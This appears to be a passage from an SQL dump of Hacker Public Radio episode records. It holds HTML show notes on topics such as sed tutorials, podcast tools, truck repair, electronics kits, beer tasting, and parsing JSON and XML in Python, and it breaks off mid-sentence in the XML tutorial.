(1992,'2016-03-22','How I\'m handling my podcast-subscriptions and -listening',497,'I\'m describing my workflow from receiving the files to listen to them.','<ul>\r\n<li><strong>podget</strong> <a href=\"https://aur.archlinux.org/packages/podget-git\" class=\"uri\">https://aur.archlinux.org/packages/podget-git</a></li>\r\n<li><strong>rennpod</strong> <a href=\"https://gitlab.com/swegryps/rennpod\" class=\"uri\">https://gitlab.com/swegryps/rennpod</a></li>\r\n<li><strong>puddletag</strong> <a href=\"https://puddletag.sourceforge.net\" class=\"uri\">https://puddletag.sourceforge.net</a></li>\r\n<li><strong>toogg</strong> <a href=\"https://gitlab.com/swegryps/toogg\" class=\"uri\">https://gitlab.com/swegryps/toogg</a></li>\r\n<li><strong>opconv</strong> <a href=\"https://gitlab.com/swegryps/opconv\" class=\"uri\">https://gitlab.com/swegryps/opconv</a></li>\r\n<li><strong>spalt</strong> <a href=\"https://gitlab.com/swegryps/spalt\" class=\"uri\">https://gitlab.com/swegryps/spalt</a></li>\r\n<li><strong>Rockbox</strong> <a href=\"https://www.rockbox.org\" class=\"uri\">https://www.rockbox.org</a></li>\r\n<li><a href=\"https://listenlive.nl\" class=\"uri\">https://listenlive.nl</a></li>\r\n</ul>\r\n\r\n<blockquote><p><small><b>Editor\'s Note 2018-06-12</b>: The links above which previously referenced GitHub\r\nhave been updated to reflect the new location of the software, GitLab.</small></p></blockquote>\r\n',309,0,1,'CC-BY-SA','podcasts,tools,listening,podget',0,0,1),
(1997,'2016-03-29','Introduction to sed - part 3',3828,'Looking at some more sed commands than just <em>s</em>','<h1 id=\"introduction-to-sed---part-3\">Introduction to sed - part 3</h1>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=1986\" title=\"Introduction to sed - part 2\">last episode</a> we looked at <code>sed</code> at a more advanced level. We looked at all of the command-line options which we will cover in this series and examined the <strong>s</strong> command in much more detail. We covered many more details of <em>regular expressions</em>.</p>\r\n<p>In this episode we will look at more <code>sed</code> commands and how to use them.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr1997/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1997/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>Introduction to sed - part 1</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1976</a></li>\r\n<li><em>Introduction to sed - part 2</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1986\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1986</a></li>\r\n<li>GNU <code>sed</code> manual: <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html</a></li>\r\n<li>Wikipedia entry for <code>sed</code>: <a href=\"https://en.wikipedia.org/wiki/Sed\" class=\"uri\">https://en.wikipedia.org/wiki/Sed</a></li>\r\n<li>&quot;<em>Sed - An Introduction and Tutorial</em>&quot; by Bruce Barnett: <a href=\"https://www.grymoire.com/Unix/Sed.html\" class=\"uri\">https://www.grymoire.com/Unix/Sed.html</a></li>\r\n<li>The Geek Stuff <em>Unix Sed Tutorial</em>: <a href=\"https://www.thegeekstuff.com/2009/09/unix-sed-tutorial-printing-file-lines-using-address-and-patterns/\" class=\"uri\">https://www.thegeekstuff.com/2009/09/unix-sed-tutorial-printing-file-lines-using-address-and-patterns/</a></li>\r\n<li>Example files:\r\n<ul>\r\n<li>Demonstration of grouping: <a href=\"https://hackerpublicradio.org/eps/hpr1997/demo2.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1997/demo2.sed</a></li>\r\n<li>Example 6 <code>sed</code> commands: <a href=\"https://hackerpublicradio.org/eps/hpr1997/example_6.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1997/example_6.sed</a></li>\r\n<li>Example 7 executable <code>sed</code> script: <a href=\"https://hackerpublicradio.org/eps/hpr1997/example_7.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1997/example_7.sed</a></li>\r\n</ul></li>\r\n</ul>',225,90,1,'CC-BY-SA','sed,stream editor,line address,regular expression,edit command',0,0,1),
(1994,'2016-03-24','Truck Repair: Serpentine Belt Replacement',3688,'Listen as I replace the serpentine belt, idler pulley, and belt tensioner in my truck.','<p>Come along for the ride as I repair my pickup truck. The job is to replace the <a href=\"https://en.wikipedia.org/wiki/Serpentine_belt\">serpentine belt</a>, <a href=\"https://www.wisegeek.org/what-is-an-idler-pulley.htm\">idler pulley</a>, and <a href=\"https://www.wisegeek.com/what-is-a-belt-tension-pulley.htm\">belt tensioner</a> in the hope of getting rid of a very annoying loud chirping sound that was coming from my engine. Even after cutting out the long pauses where I was staring at my engine trying to imagine how I was going to get the belt to go in the indicated pattern, this episode still tops out at about one hour. Be warned. There are several sections where you\'re just kind of listening along to sounds of nature as I work.</p>\r\n\r\n<p>Here\'s the instructional video I watched to learn how to do it:</p>\r\n\r\n<iframe width=\"320\" height=\"240\" src=\"https://www.youtube.com/embed/alXnTNxO9qw\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<p>\r\n<a href=\"https://www.youtube.com/watch?v=alXnTNxO9qw\">https://www.youtube.com/watch?v=alXnTNxO9qw</a>\r\n</p>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>',238,0,1,'CC-BY-SA','DIY, Auto repair, auto maintenance, cars, trucks',0,0,1),
(2006,'2016-04-11','Basic Audio Production - Compression',1927,'Yet another explanation of sound compression in a DAW','<ul>\r\n<li>This tutorial that does a much better work than me:<br />\r\n<a href=\"https://www.dnbscene.com/article/1474-compress-to-impress-a-complete-compression-tutorial\" class=\"uri\">https://www.dnbscene.com/article/1474-compress-to-impress-a-complete-compression-tutorial</a></li>\r\n</ul>',323,45,1,'CC-BY-SA','Audio, Compression, Ardour, Audacity, Podcasts, Recording',0,0,1),
(1995,'2016-03-25','Cov\'s Jams',1730,'A compilation of libre licensed music that Cov enjoyed listening to','<h3>Songs</h3>\r\n<ul>\r\n<li>Materialização by Emerson Antoniacomi: <a href=\"https://www.jamendo.com/track/690907/materializacao\">https://www.jamendo.com/track/690907/materializacao</a> CC-BY-SA 3.0</li>\r\n<li> Lorna Doone (New) by Roy Smiles: <a href=\"https://www.jamendo.com/track/1132277/lorna-doone-new\">https://www.jamendo.com/track/1132277/lorna-doone-new</a> CC-BY-SA 3.0</li>\r\n<li>pomes verdes by Nicòmac: <a href=\"https://www.jamendo.com/track/497749/pomes-verdes\">https://www.jamendo.com/track/497749/pomes-verdes</a> CC-BY-SA 3.0</li>\r\n<li>IL PAESE delle MERAVIGLIE by La Corte Dei Folli: <a href=\"https://www.jamendo.com/track/1009747/il-paese-delle-meraviglie\">https://www.jamendo.com/track/1009747/il-paese-delle-meraviglie</a> CC-BY-SA 3.0</li>\r\n<li>Балтачым by Илнур Баязитов: <a href=\"https://www.jamendo.com/track/541459/baltachym\">https://www.jamendo.com/track/541459/baltachym</a> CC-BY-SA 3.0</li>\r\n<li>lastnight3 by GLITCH56: <a href=\"https://www.jamendo.com/track/544501/lastnight3\">https://www.jamendo.com/track/544501/lastnight3</a> CC-BY-SA 3.0</li>\r\n<li>Back On Isla De Libertad by DJBASTART: <a href=\"https://www.jamendo.com/track/1093294/back-on-isla-de-libertad\">https://www.jamendo.com/track/1093294/back-on-isla-de-libertad</a> CC-BY-SA 3.0</li>\r\n<li>City in motion by Arkadii Kaplan: <a href=\"https://www.jamendo.com/track/1056000/city-in-motion\">https://www.jamendo.com/track/1056000/city-in-motion</a> CC-BY-SA 3.0</li>\r\n</ul>\r\n\r\n<h3>Playlist</h3>\r\n<p>\r\n<a href=\"https://www.jamendo.com/playlist/500161911/cov-s-jams-002\">https://www.jamendo.com/playlist/500161911/cov-s-jams-002</a>\r\n</p>\r\n',322,22,1,'CC-BY-SA','music',0,0,1),
(1998,'2016-03-30','Homebrewing',1438,'A bit about making your own beer.','<p>\r\nIn this episode, I will share some tips about how to get the most out of an inexpensive, entry-level homebrewing kit such as the Mr. Beer branded kit. These tips will work with any kit, however.\r\n</p>',325,14,1,'CC-BY-SA','home brewing,accents',0,0,1),
(1999,'2016-03-31','How I record a full band under Linux',1193,'How I use Ardour, Jack audio, and a Presonus interface to record an entire band practice.','<p>How I use Ardour, Jack audio, and a Presonus interface to record an entire band practice under linux.</p>\r\n<ul>\r\n<li><p>Tools:</p>\r\n<ul>\r\n<li>Ardour</li>\r\n<li>Calf studio gear</li>\r\n<li>Invada Plugins</li>\r\n<li>ArtyFX</li>\r\n<li>Jack</li>\r\n<li>Qjackctl</li>\r\n</ul></li>\r\n<li><p>Hardware</p>\r\n<ul>\r\n<li>Dell Latitude e6320</li>\r\n<li>Presonus studiolive 16.4.2</li>\r\n<li>various Microphones</li>\r\n</ul></li>\r\n</ul>',327,0,0,'CC-BY-SA','Ardour,Jack audio,Presonus StudioLive mixer',0,0,1),
(2002,'2016-04-05','Just got a Raspberry Pi Zero',810,'Excited about having a Raspberry Pi Zero','<p><a href=\"https://anthonyvenable110.wordpress.com\">https://anthonyvenable110.wordpress.com</a></p>',297,0,1,'CC-BY-SA','raspberry pi',0,0,1),
(2014,'2016-04-21','A first look at the Owon B35T Part 2',1306,'More clicking of things, Bluetooth happens, things are taken apart...','<p>In this episode of HPR you get to hear more of the things on NYbill\'s electronics bench that make clicking noises.</p>\r\n<p>The review of the Owon B35T\'s continues. Bluetooth is now working. And we get an inside look at the meter.</p>\r\n<ul>\r\n<li><p>The Owon B35T:<br />\r\n<a href=\"https://tinyurl.com/glgpe2f\" class=\"uri\">https://tinyurl.com/glgpe2f</a></p></li>\r\n<li><p>Pics for the episode:<br />\r\n<a href=\"https://tinyurl.com/glf3hqb\" class=\"uri\">https://tinyurl.com/glf3hqb</a></p></li>\r\n</ul>\r\n',235,103,0,'CC-BY-SA','multimeter,Bluetooth',0,0,1),
(2029,'2016-05-12','The DSO138 Oscilloscope Kit',1258,'NYbill talks about building a DSO138 Oscilloscope kit.','<p>In this episode NYbill talks about building a DSO138 Oscilloscope kit.</p>\r\n<ul>\r\n<li><p>A note about counterfeits:<br />\r\n<a href=\"https://www.jyetech.com/Products/LcdScope/e138.php\" class=\"uri\">https://www.jyetech.com/Products/LcdScope/e138.php</a></p></li>\r\n<li><p>The kit with pre-soldered SMD parts:<br />\r\n<a href=\"https://tinyurl.com/j7sr9zy\" class=\"uri\">https://tinyurl.com/j7sr9zy</a></p></li>\r\n<li><p>Without pre-soldered parts:<br />\r\n<a href=\"https://tinyurl.com/hxp3bz3\" class=\"uri\">https://tinyurl.com/hxp3bz3</a></p></li>\r\n<li><p>The forums:<br />\r\n<a href=\"https://tinyurl.com/htq3tne\" class=\"uri\">https://tinyurl.com/htq3tne</a></p></li>\r\n<li><p>Pics for the episode:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/the-dso138-oscilloscope-kit/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/the-dso138-oscilloscope-kit/</a></p></li>\r\n</ul>\r\n',235,103,0,'CC-BY-SA','oscilloscope,electronics,soldering,SMD',0,0,1),
(2044,'2016-06-02','Bring on the Power!',1160,'It this episode NYbill talks about power supplies used for electronics work.','<p>It this episode NYbill talks about power supplies used for electronics work.</p>\r\n<ul>\r\n<li>Picture for the episode:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/m/my-two-power-supplies/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/m/my-two-power-supplies/</a></li>\r\n</ul>\r\n',235,0,0,'CC-BY-SA','power supply,electronics',0,0,1),
(2016,'2016-04-25','Echoprint',799,'I share what I\'ve learned about the Echoprint music identification system','<p>Ken\'s message asking about programmatically checking for the intro and outro: \r\n<a href=\"https://thread.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039\">https://thread.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1039</a></p>\r\n<p>The Echoprint website: <a href=\"https://echoprint.me\">https://echoprint.me</a></p>\r\n<p>Codegen source code: <a href=\"https://github.com/echonest/echoprint-codegen\">https://github.com/echonest/echoprint-codegen</a></p>\r\n<p>Echoprint - An Open Music Identification Service: <a href=\"https://www.ee.columbia.edu/~dpwe/pubs/EllisWP11-echoprint.pdf\">https://www.ee.columbia.edu/~dpwe/pubs/EllisWP11-echoprint.pdf</a></p>\r\n<p>Server source code<a href=\"https://github.com/echonest/echoprint-server\">https://github.com/echonest/echoprint-server</a></p>',257,0,0,'CC-BY-SA','Echoprint,music identification',0,0,1),
(2053,'2016-06-15','My 2nd HPR Beer Podcast',132,'Describing the taste of beers I\'ve tried','<p>Hi everyone,</p>\r\n<p>It\'s MeToo here again recording for HPR with a follow on beer tasting podcast. Let me first apologize for the audio quality of this and the next eleven beer podcasts. They were all recorded live on my phone in the Nobody Knows Bar, so there is a bit of a background noise. I just hope it\'s not too distracting.</p>\r\n<p>The following twelve beer podcasts were recorded over a period of several months. A couple of them, even though they were recorded at the same \"sitting\", I\'ve chosen to break up into several podcasts, just so as to add more podcasts to HPR.</p>\r\n<p>In a few cases, it\'s obvious that I get a little tongue tied. Please forgive me. I normally tend to just have one beer per sitting, but the beer is so good and I\'m with friends, and as such have had more than one per sitting at those times.</p>\r\n<p>But enough of the explanations and apologies. Let\'s get on to the heart of the podcast: my impressions of several beers.</p>\r\n<p>One more thing before we start. The beer in this podcast is Old Foghorn. I mislabeled it in the recording as Old Fog.</p>\r\n<p>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2053.jpg\">\r\n<img src=\"https://www.hackerpublicradio.org/eps/hpr2053_small.jpg\" alt=\"hand holding beer\"/>\r\n</a>\r\n</p>\r\n<p>[Audio from pre-recorded report]</p>\r\n<p>Well. there you have it. Not one of my better recordings. But I hope you liked it nonetheless.</p>\r\n<p>So, this is MeToo here signing out until next time, wishing you happy trails and happy beers.</p>\r\n',313,0,0,'CC-BY-SA','beer tasting',0,0,1),
(2011,'2016-04-18','Introduction to sed - part 4',2858,'How sed really works. Less frequently used sed commands','<h1 id=\"introduction-to-sed---part-4\">Introduction to sed - part 4</h1>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=1997\" title=\"Introduction to sed - part 3\">last episode</a> we looked at some of the more frequently used <code>sed</code> commands, having spent previous episodes looking at the <strong>s</strong> command, and we also covered the concept of line addressing.</p>\r\n<p>In this episode we will look at how <code>sed</code> really works in all the gory details, examine some of the remaining <code>sed</code> commands and begin to build useful <code>sed</code> programs.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr2011/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2011/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>Introduction to sed - part 1</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1976</a></li>\r\n<li><em>Introduction to sed - part 2</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1986\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1986</a></li>\r\n<li><em>Introduction to sed - part 3</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1997\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1997</a></li>\r\n<li><em>Some further Bash tips</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1903</a></li>\r\n<li>GNU <code>sed</code> manual: <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html</a></li>\r\n<li>Wikipedia entry for <code>sed</code>: <a href=\"https://en.wikipedia.org/wiki/Sed\" class=\"uri\">https://en.wikipedia.org/wiki/Sed</a></li>\r\n<li>&quot;<em>Sed - An Introduction and Tutorial</em>&quot; by Bruce Barnett: <a href=\"https://www.grymoire.com/Unix/Sed.html\" class=\"uri\">https://www.grymoire.com/Unix/Sed.html</a></li>\r\n<li>Wikibooks sed wiki: <a href=\"https://en.wikibooks.org/wiki/Sed\" class=\"uri\">https://en.wikibooks.org/wiki/Sed</a></li>\r\n<li>Example files:\r\n<ul>\r\n<li>Demonstration Bash script: <a href=\"https://hackerpublicradio.org/eps/hpr2011/demo3.sh\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2011/demo3.sh</a></li>\r\n<li>Demonstration of \'<em>M</em>\' modifier: <a href=\"https://hackerpublicradio.org/eps/hpr2011/demo4.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2011/demo4.sed</a></li>\r\n</ul></li>\r\n<li>Wikipedia entry for &quot;<em>Pig Latin</em>&quot;: <a href=\"https://en.wikipedia.org/wiki/Pig_Latin\" class=\"uri\">https://en.wikipedia.org/wiki/Pig_Latin</a></li>\r\n</ul>',225,90,1,'CC-BY-SA','sed,stream editor,pattern space,hold space',0,0,1),
(2007,'2016-04-12','My new laptop',1042,'I won an Entroware laptop at OggCamp 2015. I talk about it here','<h1 id=\"my-new-laptop\">My new laptop</h1>\r\n<p>I attended <a href=\"https://oggcamp.org/\" title=\"OggCamp15\">OggCamp15</a> in Liverpool at the end of October 2015. As usual I bought some raffle tickets as a contribution to the expenses of the (un-)conference, not paying much attention to the prizes.</p>\r\n<p>Actually, the star prize was a laptop donated by <a href=\"https://entroware.com/\" title=\"Entroware Ltd\">Entroware</a>, a significant sponsor of the event, one of the most impressive prizes ever offered at OggCamp. There was quite a lot of excitement about this prize.</p>\r\n<p>I attended the drawing of the raffle at the end of proceedings on the Sunday. <a href=\"https://danlynch.org/blog/\" title=\"Dan Lynch&#39;s Blog\">Dan Lynch</a> (of Linux Outlaws, and a frequent organiser of OggCamp) was in attendance overseeing the selection of the raffle tickets. Various smaller prizes were won and the tension built up as the final drawing approached.</p>\r\n<p>Things got very tense when the first number drawn for the laptop was called and nobody responded. Then another draw was made.</p>\r\n<p>Imagine my shock and surprise when I realised I had the winning ticket! I had won the star prize in the OggCamp raffle!</p>\r\n<p>See the full show notes here <a href=\"https://hackerpublicradio.org/eps/hpr2007/full_shownotes.html\">https://hackerpublicradio.org/eps/hpr2007/full_shownotes.html</a> for the details of the laptop.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>OggCamp15: <a href=\"https://oggcamp.org/\" class=\"uri\">https://oggcamp.org/</a></li>\r\n<li>Entroware Ltd.: <a href=\"https://entroware.com/\" class=\"uri\">https://entroware.com/</a></li>\r\n<li>Wikipedia article on &quot;<em>Ubuntu Netbook Edition</em>&quot;: <a href=\"https://en.wikipedia.org/wiki/Ubuntu_Netbook_Edition\" class=\"uri\">https://en.wikipedia.org/wiki/Ubuntu_Netbook_Edition</a></li>\r\n<li>Wikipedia article on &quot;<em>CrunchBang Linux</em>&quot;: <a href=\"https://en.wikipedia.org/wiki/CrunchBang_Linux\" class=\"uri\">https://en.wikipedia.org/wiki/CrunchBang_Linux</a></li>\r\n<li>TuxJam: <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/\" class=\"uri\">https://unseenstudio.co.uk/category/tuxjam-ogg/</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','laptop, Ubuntu, OggCamp, entroware',0,0,1),
(2008,'2016-04-13','HPR needs shows to survive.',1180,'Do not listen to this show. Record one instead.','<p>\r\nYou can help out the Hacker Public Radio project by recording a show today. <br />\r\nSee <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a> for more information.\r\n</p>\r\n',30,0,0,'CC-BY-SA','HPR,community,shows,call to action,contribute',0,0,1),
(2009,'2016-04-14','Understanding the GNU/Screen Hardstatus line',1518,'CPrompt talks about how he configured his GNU/Screen to suit his needs.','<h3>Links</h3>\r\n<p>\r\n<a href=\"https://github.com/CPrompt/configs/blob/master/.screenrc\">https://github.com/CPrompt/configs/blob/master/.screenrc</a> (CPrompt\'s .screenrc file)\r\n<br />\r\n<a href=\"https://www.gnu.org/software/screen/manual/html_node/String-Escapes.html\">https://www.gnu.org/software/screen/manual/html_node/String-Escapes.html </a> (GNU Man page on String Escapes)\r\n</p>',252,0,0,'CC-BY-SA','GNU/Screen,.screenrc,terminal multiplexer',0,0,1),
(2010,'2016-04-15','Parsing JSON with Python',731,'How to parse JSON with Python','<p>JSON is a popular way of storing data in a key/value type arrangement so that the data can be parsed easily later. For instance, here is a very simple JSON snippet:</p>\r\n<pre><code>{\r\n&quot;name&quot;:&quot;tux&quot;,\r\n&quot;health&quot;:&quot;23&quot;,\r\n&quot;level&quot;:&quot;4&quot;\r\n}</code></pre>\r\n<p>If you are like me, three questions probably spring to your mind:</p>\r\n<ol type=\"1\">\r\n<li><p><em>That looks an awful lot like a Python dictionary.</em></p>\r\n<p>Yes, it looks exactly like a Python dictionary. They are shockingly similar. If you are comfortable with Python lists and dictionaries, you will feel right at home with JSON.</p></li>\r\n<li><p><em>I don\'t feel comfortable with dictionaries, can\'t I just use a delimited text file?</em></p>\r\n<p>You can, but you will have to write parsers for it yourself. If your data gets very complex, the parsing can get pretty ugly.</p>\r\n<p>That is not to say that you should not use a simple delimited text file if that is all that your programme needs. For example, I would not want to open a config file as a user and find that I have to format all my options as valid JSON.</p>\r\n<p>Just know that JSON is out there and available, and that the JSON Python module has some little features that make your life easier when dealing with sets of data.</p></li>\r\n<li><p><em>Why not use XML instead?</em></p>\r\n<p>You can. Mostly one should use the most appropriate format for one\'s project. I\'m a big fan of XML, but sometimes JSON makes more sense.</p></li>\r\n</ol>\r\n<p>I am not going to make this post about teaching the JSON format. If you need clarification on how to structure data into JSON, go through a tutorial on it somewhere; there are several good ones online. Honestly, it\'s not that complex; you can think of JSON as nested dictionaries.</p>\r\n<p>Starting from scratch, let\'s say that you write a programme that by nature gathers data as it runs. When the user quits, you want to save the data to a file so that when the user resumes the app later, they can load the file back in and pick up where they left off.</p>\r\n<h2 id=\"storing-data-as-json\">Storing Data as JSON</h2>\r\n<p>At its most basic, the JSON data structure is basically the same as a Python dictionary, and in fact the nice thing about JSON is that it can be directly imported into a Python dictionary. Usually, however, you are resorting to JSON because you have somewhat complex data, so in the sample code we will use a dictionary-within-a-dictionary:</p>\r\n<pre><code>#!/usr/bin/env python\r\n\r\ngame = {&#39;tux&#39;: {&#39;health&#39;: 23, &#39;level&#39;: 4}, &#39;beastie&#39;: {&#39;health&#39;: 13, &#39;level&#39;: 6}}\r\n# you can always add more to your dictionary\r\n\r\ngame[&#39;konqi&#39;] = {&#39;health&#39;: 18, &#39;level&#39;: 7}</code></pre>\r\n<p>That code creates a ditionary called <strong>game</strong> which stores the player name and a corresponding dictionary of attributes about how the player is doing in the progress of the game. As you can see after the comment, adding new players is simple.</p>\r\n<p>Now let\'s see how to save that data to a save file.</p>\r\n<pre><code>## continued...\r\nimport json\r\n\r\nwith open(&#39;dosiero.json&#39;, &#39;w&#39;) as outfile:\r\n    json.dump(game, outfile)</code></pre>\r\n<p>That would be your save command. Simple as that, all the structured content of your game dictionary is committed to a file on your hard drive.</p>\r\n<h2 id=\"reading-data-from-a-json-file\">Reading Data from a JSON File</h2>\r\n<p>If you are saving data to JSON, you probably will evenually want to read the data back into Python. For this, Python features the function <strong>json.load</strong></p>\r\n<pre><code>import json\r\n\r\ndosiero = open(&#39;dosiero.json&#39;)\r\ngame = json.load(dosiero)\r\n\r\nprint game[&#39;tux&#39;]     # prints {&#39;health&#39;: 23, &#39;level&#39;: 4}\r\nprint game[&#39;tux&#39;][&#39;health&#39;]    # prints 23\r\nprint game[&#39;tux&#39;][&#39;level&#39;]     # prints 4\r\n\r\n# when finished, close the file\r\n\r\njson_data.close()</code></pre>\r\n<p>As you can see, JSON integrates surprisingly well with Python, so it\'s a great format when your data fits in with its model.</p>\r\n<p>Have fun!</p>\r\n<p>[EOF]</p>\r\n<p>Made with Free Software.</p>\r\n',78,38,0,'CC-BY-SA','Python,dictionary,JSON',0,0,1),
(2012,'2016-04-19','Parsing XML in Python with Untangle',1262,'A quick introduction to Untangle, an XML parser for Python.','<p>XML is a popular way of storing data in a hierarchical arrangement so that the data can be parsed later. For instance, here is a simple XML snippet:</p>\r\n<pre><code>&lt;?xml version=&quot;1.0&quot;?&gt;\r\n&lt;book&gt;\r\n   &lt;chapter id=&quot;prologue&quot;&gt;\r\n      &lt;title&gt;\r\n     The Beginning\r\n &lt;/title&gt;\r\n   &lt;/chapter&gt;\r\n&lt;/book&gt;</code></pre>\r\n<p>The nice thing about XML is that it is explicit and strictly structured. The trade-off is that it\'s pretty verbose, and getting to where you want to go often requires fairly complex navigation.</p>\r\n<p>If you do a quick search online for XML parsing in Python, your two most common results are <code>lxml</code> and <code>beautifulsoup</code>. These both work, but using them feels less like opening a dictionary (as with JSON) to look up a definition and more like wandering through a library to gather up all the dictionaries you can possibly find.</p>\r\n<p>In JSON, the thought process might be something like:</p>\r\n<p>&quot;Go to the first chapter\'s title and print the contents.&quot;</p>\r\n<p>With traditional XML tools, it\'s more like:</p>\r\n<p>&quot;Open the book element and gather all instances of titles that fall within those chapters. Then, look into the resulting object and print the contents of the first occurrence.&quot;</p>\r\n<p>There are at least two libaries that you can install and use to bring some sanity to complex XML structures, one of which is <code>untangle</code>.</p>\r\n<h2 id=\"untangle\">Untangle</h2>\r\n<p>With <code>untangle</code>, each element in an XML document gets converted into a class, which you can then probe for information. Makes no sense? well, follow along and it will become clear:</p>\r\n<p>First, ingest the XML document. Assuming it\'s called <code>sample.xml</code> and is located in the current directory:</p>\r\n<pre><code>&gt;&gt;&gt; import untangled\r\n&gt;&gt;&gt; data = untangle.parse(&#39;sample.xml&#39;)</code></pre>\r\n<p>Now our simple XML sample is sitting in RAM, as a Python class. The first element is <code>&lt;book&gt;</code> and all it contains is more elements, so its results are not terribly exciting:</p>\r\n<pre><code>&gt;&gt;&gt; data.book\r\nElement(name = book, attributes = {}, cdata = )</code></pre>\r\n<p>As you can see, it <em>does</em> identify itself as &quot;book&quot; (under the <em>name</em> listing) but otherwise, not much to look at. That\'s OK, we can keep drilling down:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter\r\nElement(name = chapter, attributes = {&#39;id&#39;: &#39;prologue&#39;}, cdata = )</code></pre>\r\n<p>Now things get more interesting. The next element identifies itself as &quot;chapter&quot;, and reveals that it has an attribute &quot;id&quot; which has a value of &quot;prologue&quot;. To continue down this path:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter.title\r\nElement(name = title, attributes = {}, cdata = The Beginning )</code></pre>\r\n<p>And now we have a pretty complete picture of our little XML document. We have a breadcrumb trail of where we are in the form of the class we are invoking (<code>data.book.chapter.title</code>) and we have the contents of our current position.</p>\r\n<h3 id=\"sniping\">Sniping</h3>\r\n<p>That\'s very linear; if you know your XML schema (and you usually do, since XML is quite strict) then you can grab values without all the walking. For instance, we know that our chapters have \'id\' attributes, so we can ask for exactly that:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter[&#39;id&#39;]\r\n&#39;prologue&#39;</code></pre>\r\n<p>You can also get the contents of elements by looking at the <code>cdata</code> component of the class. Depending on the formatting of your document, <code>untangle</code> may be a little too literal with how it stores contents of elements, so you may want to use <code>.strip()</code> to prettify it:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter.title.cdata.strip()\r\n&#39;The Beginning&#39;</code></pre>\r\n<h3 id=\"dealing-with-more-than-one-element\">Dealing with More Than One Element</h3>\r\n<p>My example so far is nice and tidy, with only one chapter in the book. Generally you\'ll be dealing with more data than that. Let\'s add another chapter to our sample file, and some content to each:</p>\r\n<pre><code>&lt;?xml version=&quot;1.0&quot;?&gt;\r\n&lt;book&gt;\r\n   &lt;chapter id=&quot;prologue&quot;&gt;\r\n      &lt;title&gt;\r\n     The Beginning\r\n  &lt;/title&gt;\r\n      &lt;para&gt;\r\n     This is the first paragraph.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n\r\n    &lt;chapter id=&quot;end&quot;&gt;\r\n      &lt;title&gt;\r\n     The Ending\r\n  &lt;/title&gt;\r\n      &lt;para&gt;\r\n     Last para of last chapter.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n&lt;/book&gt;</code></pre>\r\n<p>Accessing each chapter is done with index designations, just like with a <code>dict</code>:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter[0]\r\nElement(name = chapter, attributes = {&#39;id&#39;: &#39;prologue&#39;}, cdata = )\r\n&gt;&gt;&gt; data.book.chapter[1]\r\nElement(name = chapter, attributes = {&#39;id&#39;: &#39;end&#39;}, cdata = )</code></pre>\r\n<p>If there is more than one instance of a tag, you <em>must</em> use a designator or else <code>untangle</code> won\'t know what to return. For example, if we want to access either the <code>title</code> or <code>para</code> elements within a chapter:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter.title\r\nTraceback (most recent call last):\r\nFile &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;\r\nAttributeError: &#39;list&#39; object has no attribute &#39;title&#39;</code></pre>\r\n<p>Oops. But if we tell it which one to look at:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter[0].title.cdata.strip()\r\n&#39;The Beginning&#39;\r\n&gt;&gt;&gt; data.book.chapter[1].title.cdata.strip()\r\n&#39;The Ending&#39;</code></pre>\r\n<p>Or you can look at the paragraph instead of the title. The lineage is the same, only instead of looking at the 